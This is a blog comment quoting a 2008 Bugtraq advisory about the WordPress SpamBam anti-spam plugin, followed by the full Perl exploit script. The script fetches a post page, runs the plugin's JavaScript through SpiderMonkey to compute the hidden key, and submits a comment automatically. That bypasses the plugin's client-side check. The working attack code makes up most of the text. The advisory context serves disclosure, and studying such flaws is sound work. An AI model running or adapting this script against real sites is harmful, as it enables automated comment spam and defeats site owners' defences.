Yep it’s true the exploit works using javascript server side, so spambam isn’t perfect but I’ve haven’t noticed a increase in spam since the exploit was released. So I’ll continue to use it while my blog stays spam free

see:

http://archive.cert.uni-stuttgart.de/bugtraq/2008/01/msg00197.html

The attached exploit demonstrates that the WordPress SpamBam plugin can
be bypassed due to relying on the client for security.

Vulnerable software:
SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes

Vulnerability:
No matter how hard you ofuscate or encrypt your code, never, under no
circunstances, rely any security aspect on the client. Never!

How the plugin works:
It generates a pseudo-random code both on the client and the server to
generate a key.
On form submit, both key values are checked and they should match to
allow comment insertion.

How the exploit works:
It does nothing but acting as a client. It parses the html, extracts
the javascript, process it to calculate the key and fills the hidden
field with it.

Solution:
There’s no fix for this. It’s a design flaw.

#!/usr/bin/perl -w

# Defeating SpamBam exploit
# by Jose Palazon (josem.palazon@xxxxxxxxx) (a.k.a. palako)

# Vulnerable software:
# SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes

# Vulnerability:
# No matter how hard you ofuscate or encrypt your code, never, under no circunstances, rely
# any security aspect on the client. Never!

# How the plugin works:
# It generates a pseudo-random code both on the client and the server to generate a key.
# On form submit, both key values are checked and they should match to allow comment insertion.

#How the exploit works:
# It does nothing but acting as a client. It parses the html, extracts the javascript, process it
# to calculate the key and fills the hidden field with it.

# Solution:
# Sorry guys but there’s no fix for this. It’ss just a design flaw.

use WWW::Mechanize;
use JavaScript::SpiderMonkey;

my $tmpContent;
my $javascriptCode;
my $spamBamKey;

die (”Usage: spambam.pl <post url> <author> <email> <comment>\n”) unless $ARGV[3];

my $url = $ARGV[0];
my $author = $ARGV[1];
my $email = $ARGV[2];
my $comment = $ARGV[3];

my $mech = WWW::Mechanize->new( autocheck => 1 );

$mech->get($url);

# WWW::Mechanize doesn’t support javascript, so the field comment_spambamKey won’t be
# recognized by $mech->field. Thus, I’ll make an update_html adding the field, and for
# this purpose I save first the original contents. Indeed, substitition occurs via the
# javascript callback function “extractKey”
$tmpContent = $mech->content;

# Eliminate carriage returns to apply sed. Later I’ll have to restore them
# to execute the javascript code, as not every line is semicolon terminated.
# That’s the reason of the __WHO_BAMS_WHO__ string.
$_ = $mech->content;
s/\n/__WHO_BAMS_WHO__/g;

# Extract the javascript code and the name of the variable where the key is going to be calculated
/<script type=”text\/javascript”>(.*)document\.write\(’<input type=”hidden” name=”comment_spambamKey” value=”‘\+(.*)\+’”>’\);/g;
$javascriptCode = $1;
$spamBamKey = $2;

# Add the javascript instruction which will comunicate the key to the perl code.
$javascriptCode .= “\nextractKey($spamBamKey);”;

my $js = JavaScript::SpiderMonkey->new();
$js->init(); # Initialize Runtime/Context

# Define perl callback for extracting the key from the javascript code
$js->function_set(”extractKey”, sub { $tmpContent =~ s/<\/form>/<input type=\”hidden\” name=\”comment_spambamKey\” value=\”@_\”><\/form>/; });

# Restore Carriage returns and execute javascript code
$javascriptCode =~ s/__WHO_BAMS_WHO__/\n/g;
my $rc = $js->eval($javascriptCode);
$js->destroy();

# Process form
$mech->update_html( $tmpContent );
$mech->form_number(1);
$mech->field(”author”, $author);
$mech->field(”email”, $email);
$mech->field(”comment”, $comment);
$mech->submit();

printf(”Check it. Comment should have been added\n”);